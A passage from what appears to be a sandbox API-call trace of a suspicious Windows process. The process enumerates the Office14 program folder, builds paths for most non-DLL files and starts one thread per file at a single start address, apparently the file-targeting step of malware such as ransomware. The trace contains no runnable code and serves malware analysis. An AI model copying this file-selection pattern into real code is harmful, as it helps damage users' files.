out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.689] wcscat (in: _Dest=0x1b85b490, _Source="msaccess.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" [0126.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c [0126.689] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e9100, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2e9100, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSAEXP30.DLL", cAlternateFileName="")) returned 1 [0126.689] wcscmp (_String1="MSAEXP30.DLL", _String2=".") returned 1 [0126.689] wcscmp (_String1="MSAEXP30.DLL", _String2="..") returned 1 [0126.689] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0126.690] wcscmp (_String1="MSCOL11.INF", _String2=".") returned 1 [0126.690] wcscmp (_String1="MSCOL11.INF", _String2="..") returned 1 [0126.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8672c0 [0126.690] wcscpy (in: _Dest=0x1b8672c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.690] wcscat (in: _Dest=0x1b8672c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.690] wcscat (in: _Dest=0x1b8672c0, _Source="MSCOL11.INF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" [0126.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8672c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824 [0126.691] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0126.691] wcscmp (_String1="MSCOL11.PPD", _String2=".") returned 1 [0126.691] wcscmp (_String1="MSCOL11.PPD", _String2="..") returned 1 [0126.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867e40 [0126.691] wcscpy (in: _Dest=0x1b867e40, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.691] wcscat (in: _Dest=0x1b867e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.691] wcscat (in: _Dest=0x1b867e40, _Source="MSCOL11.PPD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" [0126.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1834 [0126.692] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="MSBB80~1.DUB")) returned 1 [0126.692] wcscmp (_String1="mscss7cm_en.dub", _String2=".") returned 1 [0126.692] wcscmp (_String1="mscss7cm_en.dub", _String2="..") returned 1 [0126.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867140 [0126.692] wcscpy (in: _Dest=0x1b867140, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.692] wcscat (in: _Dest=0x1b867140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.692] wcscat (in: _Dest=0x1b867140, _Source="mscss7cm_en.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" [0126.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d8 [0126.693] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="MSCSS7~1.DUB")) returned 1 [0126.693] wcscmp (_String1="mscss7cm_es.dub", _String2=".") returned 1 [0126.693] wcscmp (_String1="mscss7cm_es.dub", _String2="..") returned 1 [0126.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866cc0 [0126.693] wcscpy (in: _Dest=0x1b866cc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.693] wcscat (in: _Dest=0x1b866cc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.693] wcscat (in: _Dest=0x1b866cc0, _Source="mscss7cm_es.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" [0126.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c [0126.694] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="MSCSS7~3.DUB")) returned 1 [0126.694] wcscmp (_String1="mscss7cm_fr.dub", _String2=".") returned 1 [0126.694] wcscmp (_String1="mscss7cm_fr.dub", _String2="..") returned 1 [0126.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866e40 [0126.694] wcscpy (in: _Dest=0x1b866e40, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.694] wcscat (in: _Dest=0x1b866e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.694] wcscat (in: _Dest=0x1b866e40, _Source="mscss7cm_fr.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_fr.dub" [0126.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798 [0126.695] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0126.695] wcscmp (_String1="mscss7en.dll", _String2=".") returned 1 [0126.695] wcscmp (_String1="mscss7en.dll", _String2="..") returned 1 [0126.695] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0126.696] wcscmp (_String1="mscss7es.dll", _String2=".") returned 1 [0126.696] wcscmp (_String1="mscss7es.dll", _String2="..") returned 1 [0126.696] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0126.696] wcscmp (_String1="mscss7fr.dll", _String2=".") returned 1 [0126.696] wcscmp (_String1="mscss7fr.dll", _String2="..") returned 1 [0126.696] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="MS79E7~1.DUB")) returned 1 [0126.696] wcscmp (_String1="mscss7wre_en.dub", _String2=".") returned 1 [0126.696] wcscmp (_String1="mscss7wre_en.dub", _String2="..") returned 1 [0126.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867240 [0126.696] wcscpy (in: _Dest=0x1b867240, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.696] wcscat (in: _Dest=0x1b867240, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.696] wcscat (in: _Dest=0x1b867240, _Source="mscss7wre_en.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_en.dub" [0126.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848 [0126.697] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="MSCSS7~2.DUB")) returned 1 [0126.697] wcscmp (_String1="mscss7wre_es.dub", _String2=".") returned 1 [0126.697] wcscmp (_String1="mscss7wre_es.dub", _String2="..") returned 1 [0126.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867f40 [0126.697] wcscpy (in: _Dest=0x1b867f40, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.697] wcscat (in: _Dest=0x1b867f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.697] wcscat (in: _Dest=0x1b867f40, _Source="mscss7wre_es.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" [0126.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0126.698] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="MSCSS7~4.DUB")) returned 1 [0126.698] wcscmp (_String1="mscss7wre_fr.dub", _String2=".") returned 1 [0126.698] wcscmp (_String1="mscss7wre_fr.dub", _String2="..") returned 1 [0126.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867ac0 [0126.698] wcscpy (in: _Dest=0x1b867ac0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.698] wcscat (in: _Dest=0x1b867ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.698] wcscat (in: _Dest=0x1b867ac0, _Source="mscss7wre_fr.dub" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub") returned="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" [0126.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90 [0126.700] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0126.700] wcscmp (_String1="mset7.dll", _String2=".") returned 1 [0126.700] wcscmp (_String1="mset7.dll", _String2="..") returned 1 [0126.700] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0126.700] wcscmp (_String1="mset7db.kic", _String2=".") returned 1 [0126.700] wcscmp (_String1="mset7db.kic", _String2="..") returned 1 [0126.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8675c0 [0126.700] wcscpy (in: _Dest=0x1b8675c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.700] wcscat (in: _Dest=0x1b8675c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.700] wcscat (in: _Dest=0x1b8675c0, _Source="mset7db.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" [0126.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8675c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16fc [0126.701] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0126.701] wcscmp (_String1="mset7en.kic", _String2=".") returned 1 [0126.701] wcscmp (_String1="mset7en.kic", _String2="..") returned 1 [0126.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8673c0 [0126.702] wcscpy (in: _Dest=0x1b8673c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.702] wcscat (in: _Dest=0x1b8673c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.702] wcscat (in: _Dest=0x1b8673c0, _Source="mset7en.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" [0126.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8673c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf88 [0126.795] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0126.795] wcscmp (_String1="mset7es.kic", _String2=".") returned 1 [0126.795] wcscmp (_String1="mset7es.kic", _String2="..") returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8674c0 [0126.795] wcscpy (in: _Dest=0x1b8674c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.795] wcscat (in: _Dest=0x1b8674c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.795] wcscat (in: _Dest=0x1b8674c0, _Source="mset7es.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" [0126.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8674c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa50 [0126.796] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0126.796] wcscmp (_String1="mset7fr.kic", _String2=".") returned 1 [0126.796] wcscmp (_String1="mset7fr.kic", _String2="..") returned 1 [0126.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867640 [0126.796] wcscpy (in: _Dest=0x1b867640, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.796] wcscat (in: _Dest=0x1b867640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.796] wcscat (in: _Dest=0x1b867640, _Source="mset7fr.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" [0126.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc7c [0126.798] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0126.798] wcscmp (_String1="mset7ge.kic", _String2=".") returned 1 [0126.798] wcscmp (_String1="mset7ge.kic", _String2="..") returned 1 [0126.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b866bc0 [0126.798] wcscpy (in: _Dest=0x1b866bc0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.798] wcscat (in: _Dest=0x1b866bc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.799] wcscat (in: _Dest=0x1b866bc0, _Source="mset7ge.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" [0126.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8c [0126.800] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0126.800] wcscmp (_String1="mset7jp.kic", _String2=".") returned 1 [0126.800] wcscmp (_String1="mset7jp.kic", _String2="..") returned 1 [0126.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b8664c0 [0126.800] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.800] wcscat (in: _Dest=0x1b8664c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.800] wcscat (in: _Dest=0x1b8664c0, _Source="mset7jp.kic" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic") returned="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" [0126.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8664c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc74 [0126.802] FindNextFileW (in: hFindFile=0x1b7ceca0, 